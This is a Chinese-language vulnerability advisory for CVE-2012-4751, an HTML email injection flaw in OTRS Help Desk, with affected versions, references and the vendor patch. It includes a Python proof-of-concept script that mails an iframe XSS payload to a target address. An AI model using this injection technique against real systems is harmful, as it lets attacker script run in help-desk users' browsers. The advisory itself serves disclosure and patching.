OTRS邮件体HTML注入漏洞(CVE-2012-4751)

OTRS邮件体HTML注入漏洞(CVE-2012-4751)

发布日期：2012-10-17
更新日期：2012-10-21

受影响系统：
otrs OTRS Help Desk 3.x
otrs OTRS Help Desk 2.x
描述：
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BUGTRAQ  ID: 56093
CVE ID: CVE-2012-4751

OTRS Help Desk是开源资源服务管理解决方案。

OTRS 2.4.15、3.0.17、3.1.11之前版本存在HTML注入漏洞，HTML电子邮件内传递的输入没有正确过滤即显示给用户，成功利用后可插入任意HTML和脚本代码并在受影响站点的用户浏览器中执行。

<*来源：Mike Eduard
 
  链接：http://znuny.com/en/#!/advisory/ZSA-2012-03
        http://secunia.com/advisories/51031/
        http://www.kb.cert.org/vuls/id/603276
        http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-03/
*>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/python

'''

Author: Mike Eduard - Znuny - Enterprise Services for OTRS
Product: OTRS Open Technology Real Services
Version: 3.1.8, 3.1.9 and 3.1.10
Vendor Homepage: http://otrs.org
CVE: 2012-4751

Timeline:
03 Sep 2012: Vulnerability reported + fix to vendor
04 Sep 2012: Vulnerability reported to CERT
05 Sep 2012: Response received from CERT
28 Sep 2012: Update from vendor to have it fixed and released on 16 Oct 2012
16 Oct 2012: Update: vulnerability patched
    http://www.kb.cert.org/vuls/id/603276
    http://znuny.com/#!/advisory/ZSA-2012-03
    http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-03/
17 Oct 2012: Public Disclosure

Installed On: Windows Server 2008 R2 & Open SUSE 12.1
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Firefox 14+16 & Opera 12.01

Injection Point: HTML Email
Injection Payload(s):
1: <iframe src=" javascript:alert('XSS Exploit');"></iframe>

'''

import smtplib, urllib2

payload = """
<iframe src=" javascript:alert('XSS Exploit');"></iframe>
"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@znuny.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@znuny.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@znuny.local"
smtpsrv  = "127.0.0.1"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)

建议：
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厂商补丁：

otrs
----
otrs已经为此发布了一个安全公告（security-advisory-2012-03）以及相应补丁:

security-advisory-2012-03：Security Advisory 2012-03

链接：http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-03/